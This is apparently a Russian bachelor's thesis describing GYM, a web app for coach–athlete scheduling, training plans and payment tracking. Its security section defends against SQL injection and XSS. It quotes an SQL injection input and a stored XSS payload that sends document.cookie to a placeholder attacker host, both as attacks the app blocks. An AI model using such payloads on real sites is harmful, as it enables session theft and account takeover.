








4 

РЕФЕРАТ 

 

Выпускная квалификационная работа по теме “Разработка web-

приложения для автоматизации взаимодействия участников тренировочного 

процесса” содержит 55 страниц текстового документа, 35 иллюстраций, 1 

приложение, 30 использованных источников. 

ПЛАНИРОВАНИЕ, РАСПИСАНИЕ, ТРЕНЕР, ВЗАИМОДЕЙСТВИЕ, 

ПЛАН-КОНСПЕКТ, УПРАЖНЕНИЕ, ПОСЕЩЕНИЕ, СПОРТСМЕН, 

ИСТОРИЯ ТРЕНИРОВОК 

Цель работы – разработка web-приложения для автоматизации 

взаимодействия участников тренировочного процесса. 

В работе рассматриваются проблемы организации проведения 

тренировок, анализируются существующие решения, проводится 

моделирование системы. На основе полученных при проектировании диаграмм 

было разработано web-приложение для автоматизации взаимодействия тренера 

и спортсмена. Отдельное внимание в работе уделено безопасности приложения 

с точки зрения потенциальных уязвимостей.  

Полученное web-приложение целесообразно использовать в любом виде 

спорта, где взаимодействие тренера и спортсмена основано на планировании 

тренировочного процесса посредством составления план-конспектов. 
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ВВЕДЕНИЕ 

 

В последние годы в России произошло заметное возрождение интереса к 

отечественному спорту. Политика государства с разработанной системой 

управления физической культурой и спортом, в которой задействованы как 

федеральные, так региональные и местные органы власти, направлена на 

создание здорового общества [1]. Проведение таких знаковых спортивных 

мероприятий, как Зимние Олимпийские и Паралимпийские игры в Сочи,  также 

предстоящие в 2018 году Чемпионат мира по футболу и Универсиада, 

стимулируют население к занятию спортом. На сегодняшний день спортивные 

мероприятия являются одним из самых зрелищных и востребованных широкой 

аудиторией направлений.  

Недавно были возвращены нормативы ГТО, проводятся различные 

спартакиады и соревнования, где люди, не владеющие разрядом или не 

принадлежащие к какой-то спортивной касте, могут попробовать свои силы. 

Поучаствовав в одном из таких спортивных событий, многие молодые люди и 

девушки выбирают спорт, и делают его частью своей жизни [2]. Выступлению 

на спортивных мероприятиях предшествуют общефизические тренировки, для 

достижения более высоких результатов - занятия в тренажерном зале.  

Под руководством тренера в тренажерном зале занимаются люди, 

преследующие различные интересы: подготовка к соревнованиям, укрепление 

здоровья, установление личных рекордов. 

Управление тренировочным процессом возможно при наличии 

разработанных программ, как отдельного тренировочного занятия, так и цикла 

занятий. Составление таких программ предполагает обработку и анализ 

большого объема информации. При написании план-конспектов тренер 

учитывает индивидуальные данные спортсмена, такие как, планируемый 

результат, нагрузки и комплекс упражнений предыдущих тренировок, 

самочувствие, травмы, периодичность посещений и многое другое. 
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ГЛАВА 1 ОПИСАНИЕ ПРЕДМЕТНОЙ ОБЛАСТИ 

 

1.1 План-конспект 

План-конспект тренировочного занятия - детализированный план, 

необходимый для построения и управления тренировочным процессом.  

Рассмотрим организацию и проведение тренировок на примере работы 

тренажерного зала МАУДО “СДЮСШОР “Красноярск”. 

Большинство спортсменов, как профессионалов, так и любителей, 

посещают тренажерный зал 2-3 раза в неделю. Перед занятием тренер 

составляет для каждого участника план-конспект с учетом индивидуальных 

особенностей, запланированного результата и предыдущих тренировок. Запись 

обычно ведется в отдельном для каждого участника блокноте. Так же есть 

некоторое число спортсменов, которые проводят тренировки самостоятельно, 

так как время и место проведения тренировок не всегда приемлемы для них. 

Для таких участников план-конспект составляется на несколько тренировок 

вперед, оценка результата и корректировка упражнений проводится 

периодически при очном посещении занятий.  

Наличие истории проведения занятий позволяет составить объективную 

картину тренировочного процесса спортсмена, а её отсутствие негативно 

сказывается на последующих результатах и достижениях тренируемого. 

 

1.2 Управление временем 

Заниматься спортом – это модно, интересно и правильно. Но тот факт, 

что тренажерный зал обрел такую популярность, имеет и обратную сторону 

медали – переполнение тренажерного зала в “часы пик” и, как следствие, 

неравномерная нагрузка на тренера в течение рабочего дня. Спортсмены 

планируют время посещения занятий, исходя из личных соображений, при этом 

у них нет возможности скорректировать свои планы и избежать “наплыва” 

тренирующихся. В такие часы тренеру приходится составлять большое 
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1.5 Общая архитектура приложения 

В основе разрабатываемой системы лежит архитектура “клиент-сервер”. 

В данной архитектуре задания или сетевая нагрузка распределяются между 

поставщиками услуг (сервисов) и заказчиками услуг, называемых серверами и 

клиентами соответственно. Среда взаимодействия клиента с сервером – 

Интернет (рисунок 1). 

 
Рисунок 1 - Общая архитектура приложения (концепция взаимодействия) 

 

Основные достоинства архитектуры “клиент-сервер” представлены ниже:  

- Хранение всех данных осуществляется на сервере, который защищен, как 

правило, гораздо лучше, чем большинство клиентов. Обеспечить контроль 

полномочий на сервере проще. Это позволяет разрешать доступ к данным 

только клиентам с соответствующими правами доступа.  

- В большинстве случаев, возможно распределение функций вычислительной 

системы между несколькими независимыми компьютерами в сети, что 

делает возможным упростить обслуживание. В частности, замена, ремонт, 

модернизация или перемещение сервера, не затрагивают клиентов.  

- Позволяет осуществить объединение различных клиентов. Ресурсы одного 

сервера, как правило, могут использоваться клиентами с различными 

аппаратными платформами, операционными системами и т.п.  

Недостаток архитектуры “клиент-сервер”: при использовании 

централизованной системы, все приложение становится неработоспособным из-

за выхода из строя основного сервера, делает нерабочим все приложение. 
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Рисунок 4 – Диаграмма декомпозиции А3 (нотация IDEF0) 

 

2.1.3 Диаграмма прецедентов 

Диаграммы прецедентов составляют модель прецедентов (вариантов 

использования, use-cases) и используются для описания поведения системы с 

точки зрения того, как различные пользователи взаимодействуют с ней для 

достижения своих целей. Вариант использования описывает 

последовательность действий, выполняемых системой с целью предоставить 

полезный результат конкретному актанту [18]. 

С помощью вариантов использования опишем способы, которыми 

пользователь взаимодействует с разрабатываемой системой. Для этого 

определим действующими лицами (актанты, экторы, actors) тренера, 

спортсмена и перечень прецедентов, в которых они принимают участие. На 

рисунке 5 изображена модель системы, которая состоит из всех актантов 

системы и различных вариантов использования, с помощью которых данные 

актанты взаимодействуют с системой. Благодаря этому описывается 

многообразие функционального поведения системы. 
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Рисунок 5 – Диаграмма прецедентов (нотация UML) 

 

Полученную диаграмму вариантов использования можно успешно 

использовать на протяжении всего жизненного цикла программного 

обеспечения: при анализе, проектировании и в процессе тестирования. 

 

2.2 Логическое проектирование 

Логическая модель предметной области может быть описана моделью 

"сущность - связь" (модель Чена), в основе которой лежит деление реального 

мира на отдельные различимые сущности, находящиеся в определенных связях 

друг с другом, причем обе категории — сущность и связь полагаются 

первичными понятиями. Цель логического моделирования – обеспечение 

наиболее естественных для человека способов сбора и представления той 

информации, которую предполагается хранить в создаваемой базе данных (БД). 

Логическая модель не зависит от типа СУБД. 
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2.2.3 Выбор модели данных 

Модель данных - это совокупность структур данных и операций их 

обработки. Выделяют три основных типа моделей данных: иерархическую, 

сетевую и реляционную. 

Иерархическая модель представляет собой совокупность элементов, 

расположенных в порядке их подчинения от общего к частному и образующих 

перевернутое по структуре дерево (граф). 

К основным понятиям иерархической структуры относятся уровень, узел 

и связь. Каждый узел на более низком уровне связан только с одним узлом, 

находящимся на более высоком уровне. Иерархическое дерево имеет только 

одну вершину, не подчиненную никакой другой вершине и находящуюся на 

самом верхнем - первом уровне. К каждой записи базы данных существует 

только один иерархический путь от корневой записи. 

В сетевой структуре при тех же основных понятиях (уровень, узел, связь) 

каждый элемент может быть связан с любым другим элементом. 

Реляционная модель данных объекты и связи между ними представляет в 

виде таблиц, при этом связи тоже рассматриваются как объекты. Все строки, 

составляющие таблицу в реляционной базе данных, должны иметь первичный 

ключ. Все современные средства СУБД поддерживают реляционную модель 

данных. [19] 

Свой выбор остановим на реляционной модели,  основными 

преимуществами которой являются: 

1) простота и доступность понимания конечным пользователем –  

единственной информационной конструкцией является таблица; 

2) при проектировании реляционной БД применяются строгие правила, 

базирующие на математическом аппарате; 

3) полная независимость данных. При изменении структуры реляционной 

изменения, которые требуют произвести в прикладных программах, 

минимальны. 
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2.2.4 Особенности проектирования реляционной базы данных 

Проектирование реляционной базы данных проходит в том же порядке, 

что и проектирование БД других моделей данных, но имеет свои особенности. 

Проектирование схемы БД должно решать задачи минимизации 

дублирования данных и упрощения процедур их обработки и обновления. При 

неправильно спроектированной схеме БД могут возникнуть аномалии 

модификации данных. Они обусловлены отсутствием средств явного 

представления типов множественных связей между объектами ПО и 

неразвитостью средств описания ограничений целостности на уровне модели 

данных. Для решения подобных проблем проводится нормализация отношений. 

 

2.2.5 Нормализация отношений 

Процесс нормализации выполняется путем анализа отношений с учетом 

их первичного ключа и существующих функциональных зависимостей. Он 

включает ряд правил, которые используются для проверки отношений, чтобы 

вся база данных могла быть нормализована до желаемой степени 

нормализации.  

При работе с реляционными базами данных обязательным является 

удовлетворение только требованиям первой нормальной формы (1NF). Все 

остальные формы нормализации могут использоваться по желанию 

проектировщиков. Однако рекомендуется выполнять нормализацию как 

минимум до 3NF, чтобы получить приемлемую избыточность отношений. 

 

2.2.6 Даталогическая модель 

С учетом правил нормализации отношений представим логическую модель 

данных в виде структуры хранения. На рисунке 6 представлена полученная 

схема базы данных с использованием средства проектирования AllFusion Erwin 

Data Modeler r7. 
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Рисунок 6 – Схема реляционной БД 

 

Представленные отношения находятся в третьей нормальной форме (3NF): 

- атрибуты (поля таблиц) имеют только элементарные (атомарные, 

неделимые) значения (1NF); 

- каждый неключевой атрибут характеризуется полной функциональной 

зависимостью от первичного ключа (2NF); 

- никакой неключевой атрибут функционально не зависит от другого 

неключевого атрибута, т. е. нет транзитивных зависимостей (3NF). 
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В целях обеспечения многомодульности приложения, а также более 

гибкого динамического подключения необходимых компонент в приложениях 

на базе ZF используется еще один паттерн проектирования — фронт-

контроллер (Front Controller переводится как «контроллер входа»).  

Фронт-контроллер, называемый приложением (application), 

инкапсулирует контекст обработки запроса, собирает информацию о запросе и 

передает её для дальнейшей обработки соответствующему контроллеру. 

Для удобства пользования приложением к стандартному Front Controller 

подключен модуль Zend_Controller_Router_Rewrite, который отвечает за 

перенаправление запросов на определенные модули.  

На рисунке 8 приведен алгоритм работы web-приложения GYM.  

 

 

Рисунок 8 – Алгоритм работы приложения GYM 
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4.1.1 Разработанные модули  

В основе приложения лежит модульная архитектура. Описание основных 

модулей представлено ниже. 

Модуль login: аутентификация и авторизация пользователя. 

Модуль reg: регистрация пользователя. 

Модуль prof: - отображение, редактирование профиля пользователя; 

    - панель учетной записи. 

Модуль entrypage: отображение главной страницы приложения. 

Модуль home: - добавление, изменение, удаление записи на тренировку; 

       - отображение списка запланированных тренировок; 

                 - добавление план-конспекта. 

Модуль schedule: - добавление, редактирование, удаление расписания; 

  - отображение деталей расписания; 

  - отображение списка расписаний.  

Модуль credit: - расчет задолженности; 

       - отображение задолженности; 

          - отображение общего списка задолженностей. 

Модуль working: - отображение списка тренировок на выполнении; 

- отображение краткого списка тренировок на выполнении; 

Модуль tariff: - добавление, изменение тарифа; 

      - изменения статуса; 

      - отображение списка тарифов. 

Модуль exer: - добавление, изменение упражнения; 

     - изменения статуса упражнения; 

     - отображение списка упражнений.  

Модуль inc: - обеспечение доступа к функциям других модулей; 

  - панель доступа к функциям других модулей. 

Модуль plan: - изменение, удаление план-конспекта; 

      - отображение списка доступных тарифов; 

    - отображение списка доступных упражнений; 



32 

 

    - добавление и удаление упражнения в план; 

    - отображение и редактирование параметров добав.упражнения; 

    - изменение статуса тренировки; 

    - изменение статуса оплаты тренировки; 

    - изменение статуса выполнения упражнения. 

Модуль history: - отображение списка тренировок (история) по спортсменам; 

           - отображение списка тренировок (история).   

 

4.2 Описание пользовательских интерфейсов 

Интерфейс пользователя, он же пользовательский интерфейс (UI — англ. 

user interface) — разновидность интерфейсов, в котором одна сторона 

представлена человеком (пользователем), другая — машиной/устройством. 

Представляет собой совокупность средств и методов, при помощи которых 

пользователь взаимодействует с различными, чаще всего сложными, 

машинами, устройствами и аппаратурой. Обычно именно этот термин 

используется по отношению к взаимодействию между оператором ЭВМ и 

программным обеспечением, с которым он работает.  

 

4.2.1 Главная страница 

Работа начинается с загрузки Главной страницы, которая содержит 

название и перечень основных возможностей web-приложения. Для входа и 

регистрации в правом верхнем углу страницы расположены соответствующие 

кнопки “Вход” и “Регистрация”. Для получения более подробной информации 

о приложении, просмотра контактных данных владельца ресурса и 

разработчика следует перейти по ссылке “О проекте” в верхней части 

страницы. В случае возникновения вопросов, замечаний или пожеланий по 

работе сайта пользователь может воспользоваться формой отправки сообщения, 

расположенной слева. На рисунке 9 представлена Главная страница 

приложения.  
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Рисунок 9 – Главная страница 

 

4.2.2 Регистрация и авторизация пользователей 

Для добавления нового пользователя предусмотрена форма регистрации 

(рисунок 10), на которой следует выбрать вкладку “Как спортсмен” или  “Как 

тренер”, в зависимости от того в каком качестве пользователь будет работать в 

системе (тип пользователя).  

 
Рисунок 10 – Форма регистрации 
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 После заполнения всех обязательных полей и нажатии кнопки “Добавить” 

потребуется заполнить индивидуальные данные, после чего пользователь будет 

зарегистрирован в системе и перенаправлен на форму авторизации. 

Для входа в систему необходимо авторизоваться через соответствующую 

форму (рисунок 11). 

 

 
Рисунок 11 – Форма авторизации 

 

После успешной авторизации пользователь будет перенаправлен на 

Главную страницу тренера или спортсмена, наполнение и функционал которой 

зависит от типа пользователя. 

 

4.2.3 Интерфейс тренера 

Главная страница тренера (рисунок 12) позволяет просмотреть список 

запланированных тренировок, содержащий записи только для тренера, который 

их проводит. Строки отображаются в хронологическом порядке и содержат 

информацию о дате и времени начала тренировки, фамилии и имени участника, 

и в случае подтверждения посещения тренировки стоит соответствующий 

значок. Также для каждой записи предусмотрена возможность её изменения 

или удаления (значок ). 
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Переход к просмотру всех записей расписания тренера возможен как при 

нажатии пункта меню “Расписание”, так и из формы добавления расписания – 

“Посмотреть все”. Записи отражаются в обратном хронологическом порядке 

(рисунок 14). Редактирование и удаление строк возможно только, если по 

данному расписанию не велась запись на тренировку. Для удобства просмотра 

количества участников с распределением по времени для каждой строки 

расписания предусмотрен “Просмотр”. 

 

 

Рисунок 14 – Расписание работы тренера 

 

Уточнение долга спортсмена осуществляется через форму 

“Задолженность”. Сумма рассчитывается по выполненным и находящимся на 

выполнении тренировкам, в которых не стоит отметка об оплате. Сообщение о 

сумме задолженности или отсутствии таковой будет выведено отдельным 

сообщением (рисунок 15). Также тренер может посмотреть задолженность всех 

спортсменов перед ним через пункт меню “Задолженность”. 
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Отметка о выполнении (рисунок 21) всей тренировки – верхний чекбокс 

“Выполнено” формы “План-конспект”, переводит тренировку из списка “На 

выполнении ” в Историю тренировок и она считается выполненной.  

 

 

Рисунок 21 – Отметка “Выполнено” (общее выполнение) 

 

С помощью форм “Упражнение” и “Тариф” вносятся новые записи в 

соответствующие справочники.  

Для просмотра информации о предыдущих занятиях можно 

воспользоваться формой “История тренировок” (рисунок 22).  

 

 

Рисунок 22 – Форма “История тренировок” 
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На рисунке 23 представлена история тренировок выбранного спортсмена. 

Помимо информации о времени дате и времени тренировки отображается 

информации о наличии долга по выполненным тренировкам. Для просмотра 

план-конспекта по интересующей дате/времени необходимо перейти по ссылке 

в конце соответствующей строки.  

  

 

Рисунок 23 – История тренировок спортсмена 

 

Просмотр план-конспекта выполненной тренировки дает не только 

информацию по упражнениям и нагрузкам прошлых занятий, но и возможность 

поставить отметку об оплате посещения, если таковая не была сделана ранее 

(рисунок 24). 

 

 

Рисунок 24 – Просмотр план-конспекта 
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4.2.4 Интерфейс спортсмена 

Главная страница спортсмена (рисунок 25) позволяет просмотреть список 

запланированных тренировок, содержащий записи только для данного 

пользователя. Строки отображаются в хронологическом порядке и содержат 

информацию о дате и времени начала тренировки, фамилии и имени тренера, и 

в случае подтверждения посещения тренировки стоит соответствующий значок. 

Для каждой записи предусмотрена возможность её изменения или удаления. 

  

 

Рисунок 25 – Главная страница спортсмена 

 

Для планирования посещения спортсмен может воспользоваться формой 

записи на тренировку, аналогичную одноименной форме интерфейса тренера.  

С помощью формы “Расписание” спортсмен имеет возможность 

просмотреть расписание работы конкретного тренера, выбрав его из списка 

(рисунок 26). 
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Рисунок 26 – Выбор тренера в форме “Расписание” 

 

Просмотр расписания тренера дает возможность спланировать посещения 

занятий с учетом информации о количестве участников тренировки и выбрать 

оптимальное для себя время, избежав “пиковых” часов. Для удобства 

пользователя предусмотрена возможность записи на предполагаемое время, 

нажатием в соответствующей строке “Записаться” (рисунок 27). 

 

 

Рисунок 27 – Расписание тренера 

 

Просмотр деталей предстоящей тренировки (переход к план-конспекту) 

осуществляется нажатием соответствующей записи формы “На выполнение”, 

либо выбором одноименного пункта меню. План-конспект информирует 

спортсмена о наличие задолженности перед тренером по данной тренировке. 

Возможность самостоятельной отметки (чекбоксы) выполнения отдельных 
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упражнений позволяет спортсмену сосредоточиться на тренировке и не 

отвлекаться на отслеживание выполненных позиций списка (рисунок 28). 

 

 

Рисунок 28 – Просмотр план-конспекта тренировки 

 

Форма “История тренировок” и одноименный пункт меню дают 

возможность просмотреть историю тренировок. Список выполненных 

тренировок и переход к просмотру план-конспекта осуществляется также как в 

вышеописанном интерфейсе тренера.  

Форма “Задолженность” и соответствующий пункт меню позволяют 

узнать об имеющемся долге или об его отсутствии. 

 

4.2.5 Обмен сообщениями 

Для организации обмена сообщениями в приложении используется 

сторонний сервис LiveTex [20], предлагающий широкие возможности по 

организации чатов. Качественная поддержка клиентов, дружественная 

тарифная политика, легкость подключения и широкая линейка решений стали 

определяющими факторами при выборе продукта (чат для сайта) данной 

компании.   

Общение для участников организовано в связке тренер-спортсмен со 

своих страниц как в режиме онлайн, так и оффлайн.  Кнопка чата расположена 

слева и доступна на любой странице сайта.   
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4.2.6 Эргономика пользовательского интерфейса 

Интерфейс программной системы должен быть удобным и интуитивно 

понятным, поэтому отдельное внимание уделяется его эргономике.  

Эргономика – отрасль науки, изучающая человека (или группу людей) и 

его (их) деятельность в условиях производства с целью совершенствования 

орудий, условий и процесса труда [21]. 

При разработке пользовательских интерфейсов был определен единый 

стиль оформления страниц, кнопок, выпадающих списков, форм и других 

элементов. Для обеспечения целостности восприятия использовалось не более 4 

размеров шрифта, основные цвета приложения: синий (2 оттенка), серый, 

черный и белый. Главная страница приложения выполнена с минимальным 

наполнением контентной информации и для установления визуального 

контакта с пользователем акцент сделан на фоновой картинке, наполнение 

которой усиливает первое впечатление.  

Для быстрой идентификации приложения у пользователей разработан 

логотип, соответствующий тематике приложения (рисунок 29). 

 

 

Рисунок 29 – Логотип приложения 

 

Меню присутствует на всех внутренних страницах и расположено в 

типичной для web-приложений части – верхней по центру. Пункты меню 

отражают основной функции системы, при переходе к которым меняется цвет и 

выделение названий (рисунок 30). 

 

 

Рисунок 30 – Пункты меню 
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Для визуализации выбора пользователя происходит выделение элементов 

при наведении - выпадающие списки, изменение тона – кнопки и ссылки 

(рисунок 31).  

 

Рисунок 31 – Выделение элемента выпадающего списка при наведении курсора 

 

В большинстве форм пользователю предлагается выбрать требуемое 

значение из набора вариантов (выпадающие списки, чекбоксы), что снижает 

время принятия решения. 

Формы сгруппированы по страницам по смыслу и обеспечивают единство 

выполнения операций. Например, рядом с формой составления план-конспекта 

расположена форма добавления упражнения и в случае, если при выборе из 

справочника не окажется требуемого названия упражнения, его можно 

оперативно добавить.   
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Проверка корректности вводимых пользователем данных в приложении 

выполняется с помощью плагина jQuery validation. Так для всех обязательных 

для заполнения полей задан class = «required». Форма не будет отправляться до 

тех пор, пока пользователь не заполнит все эти поля, а возле них будут 

появляться соответствующие уведомления (рисунок 32). Так же в форме 

регистрации добавлены предусмотренные плагином классы для 

соответствующих полей. Например, class = «email» к полю, где пользователь 

теперь сможет указать только валидный почтовый адрес. Теперь форма 

регистрации выглядит так: 

<form action="/reg/customer method="post" id="reg"> 

<input type="text" name="login" class="required" /><br/> 

<input type="password" name="pass" class="required password" /><br/> 

 <input type="password" name="pass_again" class="required" /><br/> 

 <input type="text" name="email" class="required email" /><br/> 

 <input type="submit" name="submit" value="Продолжить" /> 

</form> 

 

 

Рисунок 32 – Проверка заполнения обязательных полей формы регистрации 
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Кроме добавления классов к полям, были заданы правила валидации при 

вызове метода validate(). Например, для полей “Пароль” и “Подтвердить 

пароль” правила определены следующим образом: 

$("#registration").validate({ 

  rules: { 

    password: {  

      required: true, 

      minlength: 4, 

      maxlength: 30 }, 

    password_again: { equalTo: ".password" }}}); 

Проверка введенных данных на соответствия принятым в приложении 

шаблонам осуществляется как на стороне клиента, так и на стороне сервера с 

помощью регулярных выражений. Некоторые из них приведены ниже: 

o e-mail:  "|^([a-z0-9_.-]{1,20})@([a-z0-9.-]{1,20}).([a-z]{2,4})|is"; 

o ФИО: "/([^s]+)s+([^s.])[^s.]*(?:s|.)([^s.])[^s.]*/"; 

o ввод чисел: "|^[d]+$|". 

Для защиты от  массовой регистрации/авторизации роботами (ботами) в 

приложении на формах размещен скрытый чекбокс (checkbox). Обычным 

пользователям он не виден, в то время как бот его отметит (рисунок 33). Данная 

проверка на различие робота и человека позволяет предотвратить повышение 

нагрузки на сервер и ограничить заполнение “мусором” базы данных. 

 

Рисунок 33 – Попытка авторизации роботом 
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Проверка формы на стороне клиента не очень безопасное занятие, в том 

случае если оно не поддерживается контрольной проверкой на стороне сервера. 

Данные, введенные пользователем, проверяются только jQuery и JavaScript’ом 

на стороне клиента, в этом случае какой бы хорошей не была проверка, всегда 

можно скопировать код формы страницы, и вручную послать любые 

непроверенные данные, в которых может запросто содержаться sql-инъекция. 

Поэтому в разработанном web-приложении реализована проверка полученных 

данных средствами языка PHP на стороне сервера, что помимо защиты от атак, 

даст возможность работать с сайтом пользователям, у которых отключен 

JavaScript. 

 

5.2 Внедрение кода 

Один из самых значимых и распространенных способов взлома сайтов и 

программ, работающих с базами данных, основан на внедрении в запрос 

произвольного SQL-кода, позволяющего злоумышленнику получить таблицы с 

данными, изменить записи в таблицах и даже полностью удалить БД. 

Наиболее распространены следующие SQL-инъекции (SQL-injection): 

o внедрение в строковые параметры; 

o использование UNION; 

o экранирование хвоста запроса; 

o расщепление SQL-запроса. 

Для защиты от SQL-инъекций при разработке приложения 

использовались подготовленные (параметризованные) запросы, отделяющие 

синтаксис запроса от значений параметров запроса [23]. 

Так, при попытке получения данных пользователей из таблицы users с 

использованием расщепления SQL-запроса через форму добавления 

упражнения (рисунок 34), информация из формы была принята как строка 

(значение поля таблицы). В результате запрос, добавленный 

злоумышленником, не был исполнен. 

http://lifeexample.ru/php-primeryi-skriptov/zashhita-ot-sql-inektsiy.html


51 

 

 

Рисунок 34 – Попытка внедрения кода “Присед; SELECT * FROM users;” 

 

Подготовленный запрос:  

$query = "INSERT INTO exer VALUES (?)"; 

$stmt = mysqli_prepare($link, $query); 

mysqli_stmt_bind_param($stmt, 's', $exerName); 

mysqli_stmt_execute($stmt); 

 

5.3 Межсайтовый скриптинг 

Межсайтовый скриптинг (cross-site scripting, XSS) – используя XSS-

уязвимость, злоумышленник может внедрить на web-страницу вредоносный 

сценарий, выполняющийся при загрузке страницы пользователем. 

Поле для ввода названия тарифа потенциально уязвимо, так как 

предполагает внесение текстовой информации, которая в свою очередь может 

содержать опасный скрипт (рисунок 35).  

 

 

Рисунок 35 – Пример внедрения XSS-сценария 
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В форму был введено название тарифа, содержащее следующий скрипт: 

“Стандарт <script>document.write(?<img scr=http://sitezlo/?+document.cookie); 

</script>”. После добавления тарифа в базу данных, web-приложение 

обрабатывает комментарий вместе с XSS-сценарием. Начиная с этого момента 

пользователи, зашедшие на страницу тарифов, видят название "Стандарт", но 

не видят сценария, который, тем не менее, выполняется в их web-браузерах и 

отправляет информацию из cookie-файлов (включая идентификатор сеанса) на 

web-сайт злоумышленника (sitezlo). Получив необходимый идентификатор 

сеанса, злоумышленник компрометирует учетную запись жертвы. Такие 

сценарии чрезвычайно опасны, поскольку с их помощью хакеры могут 

похищать за один прием тысячи учетных записей. 

Для защиты от XSS-атак все полученные данные обрабатываются и 

фильтруются средствами языка PHP. При разработке приложения “GYM” 

использовались следующие функции, позволяющие очистить текст от 

вредоносного содержания: 

o strip_tags - удаление HTML и PHP-тегов из строки; 

o trim - удаление пробелов (или других символов) из начала и конца 

строки; 

o htmlspecialchars - преобразование специальных символов в HTML-

сущности (спец.коды); 

o stripslashes - удаление экранирующих символов. 
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ЗАКЛЮЧЕНИЕ 

В результате выполнения работы было разработано web-приложение для 

автоматизации взаимодействия участников тренировочного процесса. 

Приложение позволяет планировать посещения занятий согласно 

установленному расписанию тренера, составлять план-конспекты с 

сохранением истории тренировок, отслеживать задолженность по оплате 

занятий, обмениваться сообщениями по интересующим вопросам. 

Принятая за основу клиент-серверная архитектура, взаимодействие в 

которой осуществляется посредством сети Интернет, делает систему доступной 

не зависимо от времени, места и устройства участника. 

В ходе достижения поставленных задач были рассмотрены проблемы 

организации проведения тренировок, проанализированы существующие 

решения, проведено моделирование системы, построены диаграммы. 

Реализация приложения велась с применением современных программно-

инструментальных средств и технологий. Отдельное внимание было уделено 

безопасности web-приложения с точки зрения потенциальных уязвимостей. 

Разработка выполнялась для группы тренеров по подготовке спортсменов 

к соревнованиям по пауэрлифтингу, ведущей занятия для 

спортсменов/любителей в тренажерных залах города Красноярск. Полученное 

приложение целесообразно использовать в любом виде спорта, где 

взаимодействие тренера и спортсмена основано на планировании 

тренировочного процесса посредством составления план-конспектов. 

В перспективе данное приложение может выступить как независимый 

web-сервис по организации проведения тренировок в любом спортивном 

(тренажерном) зале. 
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ПРИЛОЖЕНИЕ А 

 

Спецификация на разрабатываемое ПО 

 

1 Глоссарий 

Словарь терминов, используемых в данной работе, представлен в таблице 1. 

 

Таблица 1  – Глоссарий 

Термин Описание 

Интернет (WWW) Сложная электронная информационная структура, 

представляющая собой глобальную сеть, которая позволяет 

связывать между собой компьютеры, расположенные в любой 

точке земного шара, и осуществлять между ними обмен 

информацией. 

WEB-приложение / сайт / 

система 

Информационная система, предоставляющая пользователям сети 

www-доступ к своему содержимому и функционалу в виде 

упорядоченного набора взаимосвязанных HTML-страниц. 

WWW-браузер  

(веб-браузер) 

Клиентская программа, поставляемая третьими сторонами и 

позволяющая просматривать содержимое HTML-страниц. 

HTML-страница 

(веб-страница,  

web-страница, 

страница сайта) 

Основной носитель информации в сети Интернет. Особым 

образом сформатированный файл (набор файлов), 

просматриваемый с помощью www-браузера как единое целое 

(без перехода по гиперссылкам). 

HTML-теги (теги) Управляющие коды, посредством которых осуществляется 

форматирование HTML-страницы 

Гиперссылка 

(ссылка) 

Базовый функциональный элемент html-документов, 

представляющий собой реализацию динамической связи какого-

либо объекта данной web-страницы с контекстным содержанием 

другого документа или файловым объектом. 
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Продолжение таблицы 1 

Термин Описание 

HTML-форма 

(форма) 

Часть HTML-страницы, предназначенная для взаимодействия с 

посетителем сайта. Представляет собой набор элементов 

(текстовых полей, селекторов, выпадающих списков), 

посредством которых пользователь может ввести какую-либо 

информацию и отправить ее для обработки на сервере 

Справочник Вспомогательная структура данных, содержащая список 

допустимых значений для какого-либо поля основных форм или 

баз данных. 

Наполнение (контент) Совокупность информационного наполнения веб-сайта. Включает 

тексты, изображения, файлы и т.п. предназначенные для 

пользователей системы 

Элемент наполнения 

(контента) 

Отдельная запись в базе данных, внешнее представление которой 

зависит от управляющего ей программного модуля 

Система динамического 

управления наполнением 

(контентом) сайта 

Информационная система, позволяющая авторизованным 

пользователям производить изменения иерархической структуры 

и информационного наполнения веб-сайта без использования 

каких либо дополнительных специальных программных средств 

База данных (БД) Структурированное хранилище информации. В реляционных 

базах данных информация хранится в таблицах, связанных между 

собой. 

Запись Строка таблицы реляционной базы данных. 

Дамп Совокупность объектов базы данных, представленная в виде 

файлов, позволяющая восстановить точную копию структуры 

исходной базы данных в аналогичной системе управления базами 

данных 

СУБД Система управления базами данных. Специальная программа, 

которая позволяет создать и поддерживать работу базы данных. 
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Окончание таблицы 1 

Термин Описание 

Web-интерфейс Совокупность экранов и элементов управления системы, 

позволяющих пользователю, осуществляющему доступ к системе 

через веб-браузер, осуществлять поддержку и управление 

системой. 

Роль (тип) Класс пользователей системы, обладающих определенным 

набором прав доступа 

Авторизация Процедура проверки на подлинность пароля или сочетания 

логического идентификационного имени и пароля, введенных 

пользователем в какую-либо интерактивную форму. 

Доступ Возможность произвести некоторые действия с объектом. Доступ 

в сеть, доступ к документу, к сайту, к базе данных и др. Доступ на 

чтение, на запись, на запуск и др. 

DHTML Dynamic Hyper Text Markup Language (динамический язык 

разметки гипертекста), расширение языка HTML, которое 

позволяет создавать web-страницы с такими интерактивными 

элементами, как движущийся фон, расположенный под статичным 

содержимым документа, движущиеся объекты, выпадающее 

меню, кнопки, подсвечивающиеся при наведении курсора мыши, 

анимация, бегущие титры и многое другое. 

W3C World Wide Web Consortium, компания-разработчик стандарта 

HTML. 

 

Прочая техническая терминология понимается в соответствии с 

действующими стандартами и рекомендациями международных органов, 

ответственных за вопросы стандартизации в сети Интернет. 
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4.3 Требования к разделению доступа 

Главная (стартовая) страница должна открываться для доступа на чтение 

без аутентификации пользователя. Дальнейшая работа с приложением 

осуществляется только после аутентификации пользователя, должен быть 

запрошен логин и пароль. После прохождения аутентификации система должна 

проверять полномочия пользователя и открывать доступ к соответствующему 

функционалу согласно его роли.  

 

5 Требования к видам обеспечения 

5.1 Требования к информационному обеспечению 

5.1.1 Требования к хранению данных 

Все данные сайта должны храниться в структурированном виде под 

управлением реляционной СУБД. Исключения составляют файлы данных, 

предназначенные для просмотра и скачивания (изображения, видео, документы 

и т.п.). Такие файлы сохраняются в файловой системе, а в БД размещаются 

ссылки на них. 

5.1.2 Требования к языкам программирования 

Для реализации статических страниц и шаблонов должны использоваться 

языки HTML 5.0 и CSS3. Исходный код должен разрабатываться в 

соответствии со стандартами W3C (HTML 5.0). 

Для реализации интерактивных элементов клиентской части должны 

использоваться языки JavaScript и DHTML. Для реализации динамических 

страниц должен использоваться язык PHP (версия не ниже 5.2). 

5.1.3 Требования к организации гиперссылок 

Все ссылки на сайте должны быть относительными (за исключением 

внешних). 










